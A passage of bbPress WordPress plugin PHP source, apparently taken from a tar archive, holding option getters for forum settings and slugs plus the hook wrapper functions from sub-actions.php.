 *
 * @since 2.0.0 bbPress (r3451)
 * @access private
 *
 * @param bool   $value  Default value false
 * @param string $option Name of the option
 *
 * @return mixed false if not overloaded, mixed if set
 */
function bbp_filter_pre_get_option( $value = false, $option = '' ) {

	// Check the options global for preset value
	if ( isset( bbpress()->options[ $option ] ) ) {
		$value = bbpress()->options[ $option ];
	}

	// Always return a value, even if false
	return $value;
}

/**
 * Filter default_options set them from inside the $bbp->options array.
 *
 * This function should not be called directly.
 *
 * @since 2.6.0 bbPress (r3451)
 * @access private
 *
 * @param bool $value Optional. Default value false
 * @return mixed false if not overloaded, mixed if set
 */
function bbp_filter_default_option( $default = false, $option = '', $passed_default = false ) {
	$options = bbp_get_default_options();

	// Maybe use the default value
	if ( isset( $options[ $option ] ) ) {

		// Try to use the passed default and fallback to assumed default
		$default = ( true === $passed_default )
			? $default
			: $options[ $option ];
	}

	// Always return a value, even if false
	return $default;
}

/**
 * Loads & caches bbPress options if a persistent cache is not being used.
 *
 * @since 2.6.0
 */
function bbp_pre_load_options() {

	// Bail if using object cache or installing
	if ( wp_using_ext_object_cache() || wp_installing() ) {
		return;
	}

	// Maybe intercept
	$strategy  = apply_filters( 'bbp_pre_load_options_strategy', 'notoptions' );
	$intercept = bbp_maybe_intercept( __FUNCTION__, $strategy );
	if ( bbp_is_intercepted( $intercept ) ) {
		return $intercept;
	}

	// Get variables
	$bbp         = bbpress();
	$bbp_options = bbp_get_default_options();
	$all_options = wp_load_alloptions();
	$not_options = (array) wp_cache_get( 'notoptions', 'options' );

	// Loop through all bbPress options to maybe cache their non-existence
	foreach ( $bbp_options as $option => $value ) {

		// Skip if already saved to database
		if ( isset( $all_options[ $option ] ) ) {
			continue;

		// Skip if overloaded
		} elseif ( isset( $bbp->options[ $option ] ) ) {
			continue;

		// Skip if already in cache
		} elseif ( wp_cache_get( $option, 'options' ) !== false ) {
			continue;

		// Needs caching to avoid database hit
		} else {

			// Store internally, for easier identification later
			$bbp->not_options[ $option ] = $value;

			// Cache to notoptions
			if ( 'notoptions' === $strategy ) {
				$not_options[ $option ] = true;
				wp_cache_set( 'notoptions', $not_options, 'options' );

			// Cache to option
			} elseif ( 'option' === $strategy ) {
				wp_cache_set( $option, $value, 'options' );
			}
		}
	}
}

/** Active? *******************************************************************/

/**
 * Checks if favorites feature is enabled.
 *
 * @since 2.0.0 bbPress (r2658)
 *
 * @param bool $default Optional.Default value true
 * @return bool Is favorites enabled or not
 */
function bbp_is_favorites_active( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_is_favorites_active', (bool) get_option( '_bbp_enable_favorites', $default ) );
}

/**
 * Checks if subscription feature is enabled.
 *
 * @since 2.0.0 bbPress (r2658)
 *
 * @param bool $default Optional.Default value true
 * @return bool Is subscription enabled or not
 */
function bbp_is_subscriptions_active( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_is_subscriptions_active', (bool) get_option( '_bbp_enable_subscriptions', $default ) );
}

/**
 * Checks if engagements feature is enabled.
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param bool $default Optional.Default value true
 * @return bool Is engagements enabled or not
 */
function bbp_is_engagements_active( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_is_engagements_active', (bool) get_option( '_bbp_enable_engagements', $default ) );
}

/**
 * Is content editing available when posting new topics & replies?
 *
 * @since 2.6.0 bbPress (r6441)
 *
 * @param bool $default Optional. Default value false
 * @return bool Is content editing allowed?
 */
function bbp_allow_content_edit( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_content_edit', (bool) get_option( '_bbp_allow_content_edit', $default ) );
}

/**
 * Is content throttling engaged when posting new topics & replies?
 *
 * @since 2.6.0 bbPress (r6441)
 *
 * @param bool $default Optional. Default value false
 * @return bool Is content throttling allowed?
 */
function bbp_allow_content_throttle( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_content_throttle', (bool) get_option( '_bbp_allow_content_throttle', $default ) );
}

/**
 * Are topic tags allowed
 *
 * @since 2.2.0 bbPress (r4097)
 *
 * @param bool $default Optional. Default value true
 * @return bool Are tags allowed?
 */
function bbp_allow_topic_tags( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_topic_tags', (bool) get_option( '_bbp_allow_topic_tags', $default ) );
}

/**
 * Are per-forum moderators allowed
 *
 * @since 2.6.0 bbPress (r5834)
 *
 * @param bool $default Optional. Default value true.
 *
 * @return bool Are per-forum moderators allowed?
 */
function bbp_allow_forum_mods( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_forum_mods', (bool) get_option( '_bbp_allow_forum_mods', $default ) );
}

/**
 * Are moderators allowed to edit users
 *
 * @since 2.6.0 bbPress (r6562)
 *
 * @param bool $default Optional. Default value true.
 *
 * @return bool Are moderators allowed to edit users?
 */
function bbp_allow_super_mods( $default = 0 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_super_mods', (bool) get_option( '_bbp_allow_super_mods', $default ) );
}

/**
 * Is forum-wide searching allowed
 *
 * @since 2.4.0 bbPress (r4970)
 *
 * @param bool $default Optional. Default value true
 * @return bool Is forum-wide searching allowed?
 */
function bbp_allow_search( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_search', (bool) get_option( '_bbp_allow_search', $default ) );
}

/**
 * Are threaded replies allowed
 *
 * @since 2.4.0 bbPress (r4964)
 *
 * @param bool $default Optional. Default value false
 * @return bool Are threaded replies allowed?
 */
function bbp_allow_threaded_replies( $default = 0 ) {

	// Filter & return
	return (bool) apply_filters( '_bbp_allow_threaded_replies', (bool) get_option( '_bbp_allow_threaded_replies', $default ) );
}

/**
 * Maximum reply thread depth
 *
 * @since 2.4.0 bbPress (r4944)
 *
 * @param int $default Thread replies depth
 * @return int Thread replies depth
 */
function bbp_thread_replies_depth( $default = 2 ) {

	// Filter & return
	return (int) apply_filters( 'bbp_thread_replies_depth', (int) get_option( '_bbp_thread_replies_depth', $default ) );
}

/**
 * Are topic and reply revisions allowed
 *
 * @since 2.0.0 bbPress (r3412)
 *
 * @param bool $default Optional. Default value true
 * @return bool Are revisions allowed?
 */
function bbp_allow_revisions( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_revisions', (bool) get_option( '_bbp_allow_revisions', $default ) );
}

/**
 * Is the anonymous posting allowed?
 *
 * @since 2.0.0 bbPress (r2659)
 *
 * @param bool $default Optional. Default value
 * @return bool Is anonymous posting allowed?
 */
function bbp_allow_anonymous( $default = 0 ) {

	// Filter & return
	return apply_filters( 'bbp_allow_anonymous', (bool) get_option( '_bbp_allow_anonymous', $default ) );
}

/**
 * Is this forum available to all users on all sites in this installation?
 *
 * @since 2.0.0 bbPress (r3378)
 *
 * @param bool $default Optional. Default value false
 * @return bool Is global access allowed?
 */
function bbp_allow_global_access( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_allow_global_access', (bool) get_option( '_bbp_allow_global_access', $default ) );
}

/**
 * Get the default forums role (issued to users on their first visit to the
 * forums) by bbp_set_current_user_default_role() and repair tools
 *
 * @since 2.2.0 bbPress (r4294)
 *
 * @param string $default Optional. Default value empty
 * @return string The default forums user role
 */
function bbp_get_default_role( $default = 'bbp_participant' ) {

	// Filter & return
	return apply_filters( 'bbp_get_default_role', get_option( '_bbp_default_role', $default ) );
}

/**
 * Use the WordPress editor if available
 *
 * @since 2.0.0 bbPress (r3386)
 *
 * @param bool $default Optional. Default value true
 * @return bool Use WP editor?
 */
function bbp_use_wp_editor( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_use_wp_editor', (bool) get_option( '_bbp_use_wp_editor', $default ) );
}

/**
 * Use WordPress's oEmbed API
 *
 * @since 2.1.0 bbPress (r3752)
 *
 * @param bool $default Optional. Default value true
 * @return bool Use oEmbed?
 */
function bbp_use_autoembed( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_use_autoembed', (bool) get_option( '_bbp_use_autoembed', $default ) );
}

/**
 * Get the current theme package ID
 *
 * @since 2.1.0 bbPress (r3829)
 *
 * @param string $default Optional. Default value 'default'
 * @return string ID of the theme-package
 */
function bbp_get_theme_package_id( $default = 'default' ) {

	// Filter & return
	return apply_filters( 'bbp_get_theme_package_id', get_option( '_bbp_theme_package_id', $default ) );
}

/**
 * Output the maximum length of a title
 *
 * @since 2.0.0 bbPress (r3246)
 *
 * @param bool $default Optional. Default value 80
 */
function bbp_title_max_length( $default = 80 ) {
	echo bbp_get_title_max_length( $default );
}
	/**
	 * Return the maximum length of a title
	 *
	 * @since 2.0.0 bbPress (r3246)
	 *
	 * @param bool $default Optional. Default value 80
	 * @return int Is anonymous posting allowed?
	 */
	function bbp_get_title_max_length( $default = 80 ) {

		// Filter & return
		return (int) apply_filters( 'bbp_get_title_max_length', (int) get_option( '_bbp_title_max_length', $default ) );
	}

/**
 * Output the number of minutes a topic or reply can be edited after it's
 * published. Used by `bbp_past_edit_lock()`.
 *
 * @since 2.6.0 bbPress (r6868)
 *
 * @param bool $default Optional. Default value 5
 */
function bbp_edit_lock( $default = 5 ) {
	echo bbp_get_edit_lock( $default );
}
	/**
	 * Return the number of minutes a topic or reply can be edited after it's
	 * published. Used by `bbp_past_edit_lock()`.
	 *
	 * @since 2.6.0 bbPress (r6868)
	 *
	 * @param bool $default Optional. Default value 5
	 * @return int Is anonymous posting allowed?
	 */
	function bbp_get_edit_lock( $default = 5 ) {

		// Filter & return
		return (int) apply_filters( 'bbp_get_edit_lock', (int) get_option( '_bbp_edit_lock', $default ) );
	}

/**
 * Output the group forums root parent forum id
 *
 * @since 2.1.0 bbPress (r3575)
 *
 * @param int $default Optional. Default value
 */
function bbp_group_forums_root_id( $default = 0 ) {
	echo bbp_get_group_forums_root_id( $default );
}
	/**
	 * Return the group forums root parent forum id
	 *
	 * @since 2.1.0 bbPress (r3575)
	 *
	 * @param bool $default Optional. Default value 0
	 * @return int The post ID for the root forum
	 */
	function bbp_get_group_forums_root_id( $default = 0 ) {

		// Filter & return
		return (int) apply_filters( 'bbp_get_group_forums_root_id', (int) get_option( '_bbp_group_forums_root_id', $default ) );
	}

/**
 * Checks if BuddyPress Group Forums are enabled
 *
 * @since 2.1.0 bbPress (r3575)
 *
 * @param bool $default Optional. Default value true
 * @return bool Is group forums enabled or not
 */
function bbp_is_group_forums_active( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_is_group_forums_active', (bool) get_option( '_bbp_enable_group_forums', $default ) );
}

/**
 * Checks if Akismet is enabled
 *
 * @since 2.1.0 bbPress (r3575)
 *
 * @param bool $default Optional. Default value true
 * @return bool Is Akismet enabled or not
 */
function bbp_is_akismet_active( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_is_akismet_active', (bool) get_option( '_bbp_enable_akismet', $default ) );
}

/**
 * Integrate settings into existing WordPress pages
 *
 * There are 3 possible modes:
 * - 'basic'   Traditional admin integration
 * - 'compact' One "bbPress" top-level admin menu
 * - 'deep'    Deeply integrate with the WordPress admin interface
 *
 * @since 2.4.0 bbPress (r4932)
 *
 * @param bool $default Optional. Default value false
 * @return string How to integrate settings
 */
function bbp_settings_integration( $default = 'basic' ) {

	// Get the option value
	$integration = get_option( '_bbp_settings_integration', $default );

	// Back-compat for deep/basic (pre-2.6)
	if ( is_numeric( $integration ) ) {
		$integration = ( 1 === (int) $integration )
			? 'deep'
			: 'basic';
	}

	// Fallback to 'basic' if invalid
	if ( ! in_array( $integration, array( 'basic', 'deep', 'compact' ), true ) ) {
		$integration = 'basic';
	}

	// Filter & return
	return apply_filters( 'bbp_settings_integration', $integration, $default );
}

/**
 * How to interact with engagements
 *
 * There are 3 possible strategies:
 * - 'meta' 2.6 and higher. Uses multiple postmeta keys.
 * - 'user' Pre-2.6. Uses comma-separated string of IDs in usermeta.
 * - 'term' Alternate. Uses taxonomy term relationships.
 *
 * @since 2.6.0 bbPress (r6875)
 *
 * @param bool $default Optional. Default value false
 * @return string How to interact with engagements
 */
function bbp_engagements_strategy( $default = 'meta' ) {

	// Get the option value
	$integration = get_option( '_bbp_engagements_strategy', $default );

	// Check that class exists, or fallback
	$class_name  = 'BBP_User_Engagements_' . ucwords( $integration );

	// Fallback to 'meta' if invalid
	if ( ! class_exists( $class_name ) ) {
		$integration = 'meta';
	}

	// Filter & return
	return apply_filters( 'bbp_engagements_strategy', $integration, $default );
}

/** Slugs *********************************************************************/

/**
 * Return the root slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'forums'
 * @return string
 */
function bbp_get_root_slug( $default = 'forums' ) {

	// Filter & return
	return apply_filters( 'bbp_get_root_slug', get_option( '_bbp_root_slug', $default ) );
}

/**
 * Are we including the root slug in front of forum pages?
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param bool $default Optional. Default value true
 * @return bool
 */
function bbp_include_root_slug( $default = 1 ) {

	// Filter & return
	return (bool) apply_filters( 'bbp_include_root_slug', (bool) get_option( '_bbp_include_root', $default ) );
}

/**
 * What to show on root, forums or topics?
 *
 * @since 2.4.0 bbPress (r4932)
 *
 * @param string $default Optional. Default value 'forums'
 * @return string
 */
function bbp_show_on_root( $default = 'forums' ) {

	// Filter & return
	return apply_filters( 'bbp_show_on_root', get_option( '_bbp_show_on_root', $default ) );
}

/**
 * Maybe return the root slug, based on whether or not it's included in the url
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'forums'
 * @return string
 */
function bbp_maybe_get_root_slug() {
	$slug   = bbp_get_root_slug();
	$retval = ( ! empty( $slug ) && bbp_include_root_slug() )
		? trailingslashit( $slug )
		: '';

	// Filter & return
	return apply_filters( 'bbp_maybe_get_root_slug', $retval );
}

/**
 * Return the single forum slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'forum'
 * @return string
 */
function bbp_get_forum_slug( $default = 'forum' ) {

	// Filter & return
	return apply_filters( 'bbp_get_forum_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_forum_slug', $default ) );
}

/**
 * Return the topic archive slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'topics'
 * @return string
 */
function bbp_get_topic_archive_slug( $default = 'topics' ) {

	// Filter & return
	return apply_filters( 'bbp_get_topic_archive_slug', get_option( '_bbp_topic_archive_slug', $default ) );
}

/**
 * Return the reply archive slug
 *
 * @since 2.4.0 bbPress (r4925)
 *
 * @param string $default Optional. Default value 'replies'
 * @return string
 */
function bbp_get_reply_archive_slug( $default = 'replies' ) {

	// Filter & return
	return apply_filters( 'bbp_get_reply_archive_slug', get_option( '_bbp_reply_archive_slug', $default ) );
}

/**
 * Return the single topic slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'topic'
 * @return string
 */
function bbp_get_topic_slug( $default = 'topic' ) {

	// Filter & return
	return apply_filters( 'bbp_get_topic_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_topic_slug', $default ) );
}

/**
 * Return the topic-tag taxonomy slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'topic-tag'
 * @return string
 */
function bbp_get_topic_tag_tax_slug( $default = 'topic-tag' ) {

	// Filter & return
	return apply_filters( 'bbp_get_topic_tag_tax_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_topic_tag_slug', $default ) );
}

/**
 * Return the single reply slug (used mostly for editing)
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'reply'
 * @return string
 */
function bbp_get_reply_slug( $default = 'reply' ) {

	// Filter & return
	return apply_filters( 'bbp_get_reply_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_reply_slug', $default ) );
}

/**
 * Return the single user slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'users'
 * @return string
 */
function bbp_get_user_slug( $default = 'users' ) {

	// Filter & return
	return apply_filters( 'bbp_get_user_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_user_slug', $default ) );
}

/**
 * Return the single user favorites slug
 *
 * @since 2.2.0 bbPress (r4187)
 *
 * @param string $default Optional. Default value 'favorites'
 * @return string
 */
function bbp_get_user_favorites_slug( $default = 'favorites' ) {

	// Filter & return
	return apply_filters( 'bbp_get_user_favorites_slug', get_option( '_bbp_user_favs_slug', $default ) );
}

/**
 * Return the single user subscriptions slug
 *
 * @since 2.2.0 bbPress (r4187)
 *
 * @param string $default Optional. Default value 'subscriptions'
 * @return string
 */
function bbp_get_user_subscriptions_slug( $default = 'subscriptions' ) {

	// Filter & return
	return apply_filters( 'bbp_get_user_subscriptions_slug', get_option( '_bbp_user_subs_slug', $default ) );
}

/**
 * Return the single user engagements slug
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param string $default Optional. Default value 'engagements'
 * @return string
 */
function bbp_get_user_engagements_slug( $default = 'engagements' ) {

	// Filter & return
	return apply_filters( 'bbp_get_user_engagements_slug', get_option( '_bbp_user_engs_slug', $default ) );
}

/**
 * Return the topic view slug
 *
 * @since 2.1.0 bbPress (r3759)
 *
 * @param string $default Optional. Default value 'view'
 * @return string
 */
function bbp_get_view_slug( $default = 'view' ) {

	// Filter & return
	return apply_filters( 'bbp_get_view_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_view_slug', $default ) );
}

/**
 * Return the search slug
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @param string $default Optional. Default value 'search'
 * @return string
 */
function bbp_get_search_slug( $default = 'search' ) {

	// Filter & return
	return apply_filters( 'bbp_get_search_slug', bbp_maybe_get_root_slug() . get_option( '_bbp_search_slug', $default ) );
}

/**
 * Return the edit slug
 *
 * @since 2.6.2 bbPress (r6965)
 *
 * @param string $default Optional. Default value 'edit'
 * @return string
 */
function bbp_get_edit_slug( $default = 'edit' ) {

	// Filter & return
	return apply_filters( 'bbp_get_edit_slug', get_option( '_bbp_edit_slug', $default ) );
}

/** Legacy ********************************************************************/

/**
 * Checks if there is a previous BuddyPress Forum configuration
 *
 * @since 2.1.0 bbPress (r3790)
 *
 * @param string $default Optional. Default empty string
 * @return string The location of the bb-config.php file, if any
 */
function bbp_get_config_location( $default = '' ) {

	// Filter & return
	return apply_filters( 'bbp_get_config_location', get_option( 'bb-config-location', $default ) );
}
includes/core/sub-actions.php000066600000027605151771460310012265 0ustar00<?php

/**
 * Plugin Dependency
 *
 * The purpose of the following hooks is to mimic the behavior of something
 * called 'plugin dependency' which enables a plugin to have plugins of their
 * own in a safe and reliable way.
 *
 * We do this in bbPress by mirroring existing WordPress hooks in many places
 * allowing dependant plugins to hook into the bbPress specific ones, thus
 * guaranteeing proper code execution only when bbPress is active.
 *
 * The following functions are wrappers for hooks, allowing them to be
 * manually called and/or piggy-backed on top of other hooks if needed.
 *
 * @package bbPress
 * @subpackage Core
 *
 * @todo use anonymous functions when PHP minimum requirement allows (5.3)
 */

/** Activation Actions ********************************************************/

/**
 * Runs on bbPress activation
 *
 * @since 2.0.0 bbPress (r2509)
 */
function bbp_activation() {
	do_action( 'bbp_activation' );
}

/**
 * Runs on bbPress deactivation
 *
 * @since 2.0.0 bbPress (r2509)
 */
function bbp_deactivation() {
	do_action( 'bbp_deactivation' );
}

/**
 * Runs when uninstalling bbPress
 *
 * @since 2.0.0 bbPress (r2509)
 */
function bbp_uninstall() {
	do_action( 'bbp_uninstall' );
}

/** Main Actions **************************************************************/

/**
 * Main action responsible for constants, globals, and includes
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_loaded() {
	do_action( 'bbp_loaded' );
}

/**
 * Setup constants
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_constants() {
	do_action( 'bbp_constants' );
}

/**
 * Setup globals BEFORE includes
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_boot_strap_globals() {
	do_action( 'bbp_boot_strap_globals' );
}

/**
 * Include files
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_includes() {
	do_action( 'bbp_includes' );
}

/**
 * Setup globals AFTER includes
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_setup_globals() {
	do_action( 'bbp_setup_globals' );
}

/**
 * Register any objects before anything is initialized
 *
 * @since 2.2.0 bbPress (r4180)
 */
function bbp_register() {
	do_action( 'bbp_register' );
}

/**
 * Initialize any code after everything has been loaded
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_init() {
	do_action( 'bbp_init' );
}

/**
 * Initialize roles
 *
 * @since 2.6.0 bbPress (r6106)
 *
 * @param WP_Roles $wp_roles The array of WP_Role objects that was initialized
 */
function bbp_roles_init( $wp_roles ) {
	do_action( 'bbp_roles_init', $wp_roles );
}

/**
 * Initialize widgets
 *
 * @since 2.0.0 bbPress (r3389)
 */
function bbp_widgets_init() {
	do_action( 'bbp_widgets_init' );
}

/**
 * Setup the currently logged-in user
 *
 * @link https://bbpress.trac.wordpress.org/ticket/2309
 * @link https://core.trac.wordpress.org/ticket/24169
 *
 * @since 2.0.0 bbPress (r2695)
 */
function bbp_setup_current_user() {
	do_action( 'bbp_setup_current_user' );
}

/**
 * Setup the user engagements strategy
 *
 * @since 2.6.0 bbPress (r6875)
 */
function bbp_setup_engagements() {
	do_action( 'bbp_setup_engagements' );
}

/** Supplemental Actions ******************************************************/

/**
 * Load translations for current language
 *
 * @since 2.0.0 bbPress (r2599)
 */
function bbp_load_textdomain() {
	do_action( 'bbp_load_textdomain' );
}

/**
 * Setup the post types
 *
 * @since 2.0.0 bbPress (r2464)
 */
function bbp_register_post_types() {
	do_action( 'bbp_register_post_types' );
}

/**
 * Setup the post statuses
 *
 * @since 2.0.0 bbPress (r2727)
 */
function bbp_register_post_statuses() {
	do_action( 'bbp_register_post_statuses' );
}

/**
 * Register the built in bbPress taxonomies
 *
 * @since 2.0.0 bbPress (r2464)
 */
function bbp_register_taxonomies() {
	do_action( 'bbp_register_taxonomies' );
}

/**
 * Register the default bbPress views
 *
 * @since 2.0.0 bbPress (r2789)
 */
function bbp_register_views() {
	do_action( 'bbp_register_views' );
}

/**
 * Register the default bbPress shortcodes
 *
 * @since 2.2.0 bbPress (r4211)
 */
function bbp_register_shortcodes() {
	do_action( 'bbp_register_shortcodes' );
}

/**
 * Register the default bbPress meta-data
 *
 * @since 2.6.0 bbPress (r46300)
 */
function bbp_register_meta() {
	do_action( 'bbp_register_meta' );
}

/**
 * Enqueue bbPress specific CSS and JS
 *
 * @since 2.0.0 bbPress (r3373)
 */
function bbp_enqueue_scripts() {
	do_action( 'bbp_enqueue_scripts' );
}

/**
 * Add the bbPress-specific rewrite tags
 *
 * @since 2.0.0 bbPress (r2753)
 */
function bbp_add_rewrite_tags() {
	do_action( 'bbp_add_rewrite_tags' );
}

/**
 * Add the bbPress-specific rewrite rules
 *
 * @since 2.4.0 bbPress (r4918)
 */
function bbp_add_rewrite_rules() {
	do_action( 'bbp_add_rewrite_rules' );
}

/**
 * Add the bbPress-specific permalink structures
 *
 * @since 2.4.0 bbPress (r4918)
 */
function bbp_add_permastructs() {
	do_action( 'bbp_add_permastructs' );
}

/**
 * Add the bbPress-specific login forum action
 *
 * @since 2.0.0 bbPress (r2753)
 */
function bbp_login_form_login() {
	do_action( 'bbp_login_form_login' );
}

/**
 * Add the bbPress-specific post status transition action
 *
 * @since 2.6.0 bbPress (r6792)
 *
 * @param string  $new_status New post status
 * @param string  $old_status Old post status
 * @param WP_Post $post       Post object
 */
function bbp_transition_post_status( $new_status = '', $old_status = '', $post = false ) {

	// Get bbPress post types
	$post_type = get_post_type( $post );
	$types     = bbp_get_post_types();

	// Bail if post is not a bbPress post type
	if ( ! in_array( $post_type, $types, true ) ) {
		return;
	}

	// Do the action
	do_action( 'bbp_transition_post_status', $new_status, $old_status, $post );
}

/** User Actions **************************************************************/

/**
 * The main action for hooking into when a user account is updated
 *
 * @since 2.2.0 bbPress (r4304)
 *
 * @param int $user_id ID of user being edited
 * @param array $old_user_data The old, unmodified user data
 */
function bbp_profile_update( $user_id = 0, $old_user_data = array() ) {
	do_action( 'bbp_profile_update', $user_id, $old_user_data );
}

/**
 * The main action for hooking into a user being registered
 *
 * @since 2.2.0 bbPress (r4304)
 *
 * @param int $user_id ID of user being edited
 */
function bbp_user_register( $user_id = 0 ) {
	do_action( 'bbp_user_register', $user_id );
}

/** Final Action **************************************************************/

/**
 * bbPress has loaded and initialized everything, and is okay to go
 *
 * @since 2.0.0 bbPress (r2618)
 */
function bbp_ready() {
	do_action( 'bbp_ready' );
}

/** Theme Permissions *********************************************************/

/**
 * The main action used for redirecting bbPress theme actions that are not
 * permitted by the current_user
 *
 * @since 2.1.0 bbPress (r3605)
 */
function bbp_template_redirect() {
	do_action( 'bbp_template_redirect' );
}

/** Theme Helpers *************************************************************/

/**
 * The main action used for executing code before the theme has been setup
 *
 * @since 2.1.0 bbPress (r3829)
 */
function bbp_register_theme_packages() {
	do_action( 'bbp_register_theme_packages' );
}

/**
 * The main action used for executing code before the theme has been setup
 *
 * @since 2.1.0 bbPress (r3732)
 */
function bbp_setup_theme() {
	do_action( 'bbp_setup_theme' );
}

/**
 * The main action used for executing code after the theme has been setup
 *
 * @since 2.1.0 bbPress (r3732)
 */
function bbp_after_setup_theme() {
	do_action( 'bbp_after_setup_theme' );
}

/**
 * The main action used for handling theme-side POST requests
 *
 * @since 2.3.0 bbPress (r4550)
 */
function bbp_post_request() {

	// Bail if not a POST action
	if ( ! bbp_is_post_request() ) {
		return;
	}

	// Bail if no action, or if not a string (arrays not supported)
	if ( empty( $_POST['action'] ) || ! is_string( $_POST['action'] ) ) {
		return;
	}

	// Sanitize the POST action
	$action = sanitize_key( $_POST['action'] );

	// Bail if action was totally invalid
	if ( empty( $action ) ) {
		return;
	}

	// This dynamic action is probably the one you want to use. It narrows down
	// the scope of the 'action' without needing to check it in your function.
	do_action( 'bbp_post_request_' . $action );

	// Use this static action if you don't mind checking the 'action' yourself.
	do_action( 'bbp_post_request',   $action );
}

/**
 * The main action used for handling theme-side GET requests
 *
 * @since 2.3.0 bbPress (r4550)
 */
function bbp_get_request() {

	// Bail if not a POST action
	if ( ! bbp_is_get_request() ) {
		return;
	}

	// Bail if no action, or if not a string (arrays not supported)
	if ( empty( $_GET['action'] ) || ! is_string( $_GET['action'] ) ) {
		return;
	}

	// Sanitize the GET action
	$action = sanitize_key( $_GET['action'] );

	// Bail if action was totally invalid
	if ( empty( $action ) ) {
		return;
	}

	// This dynamic action is probably the one you want to use. It narrows down
	// the scope of the 'action' without needing to check it in your function.
	do_action( 'bbp_get_request_' . $action );

	// Use this static action if you don't mind checking the 'action' yourself.
	do_action( 'bbp_get_request',   $action );
}

/** Filters *******************************************************************/

/**
 * Filter the plugin locale and domain.
 *
 * @since 2.2.0 bbPress (r4213)
 *
 * @param string $locale
 * @param string $domain
 */
function bbp_plugin_locale( $locale = '', $domain = '' ) {

	// Filter & return
	return apply_filters( 'bbp_plugin_locale', $locale, $domain );
}

/**
 * Piggy back filter for WordPress's 'request' filter
 *
 * @since 2.1.0 bbPress (r3758)
 *
 * @param array $query_vars
 * @return array
 */
function bbp_request( $query_vars = array() ) {

	// Filter & return
	return apply_filters( 'bbp_request', $query_vars );
}

/**
 * The main filter used for theme compatibility and displaying custom bbPress
 * theme files.
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @param string $template
 * @return string Template file to use
 */
function bbp_template_include( $template = '' ) {

	// Filter & return
	return apply_filters( 'bbp_template_include', $template );
}

/**
 * Generate bbPress-specific rewrite rules
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @deprecated 2.4.0 bbPress (r4918)
 *
 * @param WP_Rewrite $wp_rewrite
 */
function bbp_generate_rewrite_rules( $wp_rewrite ) {
	do_action_ref_array( 'bbp_generate_rewrite_rules', array( &$wp_rewrite ) );
}

/**
 * Filter the allowed themes list for bbPress specific themes
 *
 * @since 2.0.0 bbPress (r2944)
 *
 * @param array $themes
 *
 * @return array Array of allowed themes
 */
function bbp_allowed_themes( $themes ) {

	// Filter & return
	return (array) apply_filters( 'bbp_allowed_themes', $themes );
}

/**
 * Maps forum/topic/reply caps to built in WordPress caps
 *
 * @since 2.0.0 bbPress (r2593)
 *
 * @param array $caps Capabilities for meta capability
 * @param string $cap Capability name
 * @param int $user_id User id
 * @param array $args Arguments
 *
 * @return array Array of capabilities
 */
function bbp_map_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

	// Filter & return
	return (array) apply_filters( 'bbp_map_meta_caps', $caps, $cap, $user_id, $args );
}

/**
 * Filter the arguments used by wp_mail for bbPress specific emails
 *
 * @since 2.6.0 bbPress (r6918)
 *
 * @param array $args A compacted array of wp_mail() arguments, including the "to" email,
 *                    subject, message, headers, and attachments values.
 *
 * @return array Array of capabilities
 */
function bbp_mail( $args = array() ) {

	// Bail if headers are missing/malformed
	if ( empty( $args['headers'] ) || ! is_array( $args['headers'] ) ) {
		return $args;
	}

	// Header to search all headers for
	$bbp_header = bbp_get_email_header();

	// Bail if no bbPress header found
	if ( false === array_search( $bbp_header, $args['headers'], true ) ) {
		return $args;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_mail', $args );
}
includes/core/actions.php000066600000055641151771460310011477 0ustar00<?php

/**
 * bbPress Actions
 *
 * This file contains the actions that are used through-out bbPress. They are
 * consolidated here to make searching for them easier, and to help developers
 * understand at a glance the order in which things occur.
 *
 * There are a few common places that additional actions can currently be found
 *
 *  - bbPress: In {@link bbPress::setup_actions()} in bbpress.php
 *  - Admin: More in {@link BBP_Admin::setup_actions()} in admin.php
 *
 * @package bbPress
 * @subpackage Core
 *
 * @see /core/filters.php
 */

